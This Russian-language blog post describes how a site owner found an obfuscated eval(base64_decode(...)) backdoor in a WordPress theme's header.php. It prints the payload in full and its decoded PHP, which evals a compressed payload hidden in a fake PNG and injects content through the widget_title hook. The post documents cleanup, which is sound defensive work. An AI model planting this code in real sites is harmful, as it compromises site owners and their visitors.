Деобфускация

Продолжение истории взломанных сайтов.

После истории с мобильным редиректом часть сайтов вернул на reg.ru т.к. 1gb.ru опять выкинули крендель за который я их нелюблю — стали присылать угрозы отключить меня за превышение процессорной нагрузки. Перенес сайт на joomla (mfmercury.ru) обратно на reg.ru так же вместе с ним перенес только недавно сделанный на WP lt02.ru. Стал добавлять его в яндекс.справочник, залез в код, чтобы поправить шапку — увидел в header.php вот такой код

<?php eval(base64_decode(‘JGY9ZGlybmFtZShfX2ZpbGVfXykuJy9pbWFnZXMvd3BfbWVudV90b3AucG5
nJzskYj1nZXRfb3B0aW9uKCd3cF90aGVtZV9tZW51X2ZpcnN0Jyk7aWYgKGZpbGVfZXhpc3RzKCR
mKSBhbmQgISRiKXskZnAgPSBmb3BlbigkZiwiciIpOyRzID0gZnJlYWQoJGZwLGZpbGVzaXplKCRmK
Sk7ZmNsb3NlKCRmcCk7ZXZhbCgnJG09Jy5nenVuY29tcHJlc3Moc3RyaXBzbGFzaGVzKCRzKSkuJz
snKTskaTA9JG1bMF07JGkxPSRtWzFdOyRpMj0kbVsyXTskaTM9JG1bM107dW5zZXQoJG1bMF0sJ
G1bMV0sJG1bMl0pO3NodWZmbGUoJG0pOyRjc1swXT0kaTAuJGkxLiRtWzBdLiRpMi4kbVsxXS4ka
TIuJG1bMl0uJGkzOyRjc1sxXT0kaTAuJGkxLiRtWzNdLiRpMi4kbVs0XS4kaTIuJG1bNV0uJGkzO2FkZ
F9vcHRpb24oJ3dwX3RoZW1lX21lbnVfZmlyc3QnLGJhc2U2NF9lbmNvZGUoJGNzWzBdKSwnJywnbm
8nICk7YWRkX29wdGlvbignd3BfdGhlbWVfbWVudV9zZWNvbmQnLGJhc2U2NF9lbmNvZGUoJGNzWz
FdKSwnJywnbm8nICk7fWZ1bmN0aW9uIGZuKCl7aWYoKGlzX2hvbWUoKSkmJiEoaXNfcGFnZWQoK
SkpICRuPWJhc2U2NF9kZWNvZGUoZ2V0X29wdGlvbignd3BfdGhlbWVfbWVudV9maXJzdCcpKTtlbH
NlICRuPWJhc2U2NF9kZWNvZGUoZ2V0X29wdGlvbignd3BfdGhlbWVfbWVudV9zZWNvbmQnKSk7c
mV0dXJuICRuO30kX0dFVFsnZ19fJ109MTtmdW5jdGlvbiBjYigkcCl7ZWNobyAoJF9HRVRbJ2dfXydd
PjApP2ZuKCk6Jyc7JF9HRVRbJ2dfXyddPTA7cmV0dXJuICRwO31pZiAoJGIpIGFkZF9hY3Rpb24oJ3d
pZGdldF90aXRsZScsJ2NiJyk7’));?>

спросив у яндекса: eval(base64_decode расшифровал его, спросив у deseven что это такое получил:

<?php
$f=dirname(__file__).’/images/wp_menu_top.png’;
$b=get_option(‘wp_theme_menu_first’);
if(file_exists($f)and!$b){
$fp=fopen($f,»r»);
$s=fread($fp,filesize($f));
fclose($fp);
eval(‘$m=’.gzuncompress(stripslashes($s)).’;
‘);
$i0=$m[0];
$i1=$m[1];
$i2=$m[2];
$i3=$m[3];
unset($m[0],$m[1],$m[2]);
shuffle($m);
$cs[0]=$i0.$i1.$m[0].$i2.$m[1].$i2.$m[2].$i3;
$cs[1]=$i0.$i1.$m[3].$i2.$m[4].$i2.$m[5].$i3;
add_option(‘wp_theme_menu_first’,base64_encode($cs[0]),»,’no’);
add_option(‘wp_theme_menu_second’,base64_encode($cs[1]),»,’no’);
}
function fn(){
if((is_home())&&!(is_paged()))$n=base64_decode(get_option(‘wp_theme_menu_first’));
else$n=base64_decode(get_option(‘wp_theme_menu_second’));
return$n;
}
$_GET[‘g__’]=1;
function cb($p){
echo($_GET[‘g__’]&gt;
0)?fn():»;
$_GET[‘g__’]=0;
return$p;
}
if($b) add_action(‘widget_title’,’cb’);
?>

/images/wp_menu_top.png этот файл читается. В нем архив. В картинке архив, капец. Он извлекается, его содержимое выполняется и пишется в переменную $m. Там получается массив. Что в нем — смотри сам, открой этот пнг как архив
Дело в том, что нет такого файла. Либо злодеи не успели его загрузить, либо у них не хватило доступа…

Вредоносный код с сайта удален, пароли изменены.

Хороший вопрос задают далекие от отрасли люди: зачем злоумышленники делают это?